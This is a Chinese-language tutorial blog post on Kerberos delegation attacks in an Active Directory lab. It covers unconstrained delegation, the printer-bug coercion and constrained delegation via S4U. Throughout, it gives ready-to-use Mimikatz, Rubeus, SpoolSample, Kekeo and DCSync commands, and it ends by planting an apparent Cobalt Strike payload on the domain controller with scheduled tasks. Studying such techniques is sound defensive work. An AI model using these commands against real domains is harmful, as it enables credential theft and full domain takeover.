域内安全:委派攻击

目录

域委派

非約束性委派攻击:

主动访问:

被动访问(利用打印机漏洞)

约束性委派攻击:


域委派

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。 委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三 种:

1、非约束性委派

2、约束性委派

3、基于资源的约束性委派

委派攻击:

只能在域管上面设置委派

分为非约束性委派和约束性委派

在域内,只有主机账号和服务账号才能设置委派

主机账号:就是AD中的computer组内的计算机,就是加入域的计算机,也叫机器账号

服务账号:只是用来跑服务的,不能用来登录电脑,只是一个服务

非約束性委派攻击:

目的:如何让域管访问配置了非约束性委派的机器,如果域管访问了,那么就拿到了域管的TGT

从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境,或者结合打印机漏洞让域管用户强制回连以缓存 TGT,一个域内用户访问WEB服务,但是一些资源在文件服务上,这个时候就需要委派,需要web系统代表用户A去访问文件服务的资源

实验前提:控制了域内的一台机器,并且该机器的服务账号配置了非约束委派,

主动访问:

1、使用Adfind查询域内非约束委派机器账号

AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

2、我们先去访问域控,是不能访问的:

dir \\dc.hack.com\c$

3、这个时候如果域管访问了机器我们的内存中就会有域管的TGT,就可以访问任意机器了,在与域控上执行访问(在域控上执行)

主动访问:

net use \\PC-2008.HACK.COM /user:hack\administrator Qq123456

4、导出内存中的票据:

sekurlsa::tickets /export

5.注入票据:

mimikatz kerberos::ptt [0;54acdf]-2-0-60a10000-Administrator@krbtgtHACK.COM.kirbi

6.访问域控:

shell dir \\dc.hack.com\c$

7.如果成功,计划任务上线CS:

copy cs.exe \\dc.hack.com\C$

shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\cs.exe /ru system /f

shell schtasks /run /s dc.hack.com /i /tn "test"

成功上线:

被动访问(利用打印机漏洞)

一般域管不会主动访问我们,我们可以 利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证,使DC强制访问设置了非约束性委派的机器或者服务

利用:

先关闭防火墙

1、首先利用Rubeus在 机器上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器 DC 的登录信息

Rubeus.exe monitor /interval:1 /filteruser: DC$

2.再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行

SpoolSample.exe DC OA

3.Rubeus监听到票据,会得到来自域控的TGT票据:

4.导入票据:

Rubeus.exe ptt /ticket:票据

5.获取域内用户哈希:

lsadump::dcsync /all /csv

5.如果当前的用户是管理员就可以使用PTH攻击,如果是普通的域用户就使用黄金票据

使用计划任务,服务,或者无文件的powershell上线

copy 123.exe \\dc.hack.com\C$

shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\123.exe /ru system /f

shell schtasks /run /s dc.hack.com /i /tn "test"

约束性委派攻击:

1、S4u2self(Service for User to Self)

2、S4U2proxy(Service for User to Proxy)

这两个扩展都允许服务代表用户从KDC请求票证。

约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务

攻击流程:

用户(A)访问WEB系统(B),B代表A去向KDC申请访问B的TGT和ST1(使用S4u2self),用户A拿到了ST1就可以访问B了,如果在B上配置了约束性委派(A到C的约束委派),则B能够使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给KDC,KDC返回B一个访问C的票据ST2,这样B就可以以用户的身份访问C

实验前提:我们已经控制了电脑,发现该电脑配置了约束性的委派,并且可以读取到该电脑的机器用户的HASH值

我们现在域控上面配置约束性委派

先上线域内配置了约束性委派的机器

1、查询约束性委派的机器和用户

查询约束委派机器账户

AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(msdsallowedtodelegateto=*))" msds-allowedtodelegateto

2、使用mimikatz获取机器账户NTLM Hash:

mimikatz sekurlsa::logonpasswords

3、使用kekeo申请配置了约束委派机器账户2012-1$的TGT:

kekeo "tgt::ask /user:PC-ZS$ /NTLM:e018eb59a33bfed210afac21977d9d41 /domain:hack.com" "exit"

4.利用TGT通过伪造请求以administrator身份访问dc.hack.com的ST

shell kekeo "tgs::s4u /tgt:TGT_2012-1$@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi /user:Administrator@hack.com /service:cifs/dc.hack.com" "exit"

5.mimkatz注入:

mimikatz kerberos::ptt TGS_Administrator@hack.com@HACK.COM_cifs~dc.hack.com@HACK.COM.kirbi

访问域控:

shel dir \\dc.hack.com\c$

注意:约束性委派,是否能成功控制域控,取决于委派了什么服务

  • 10
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值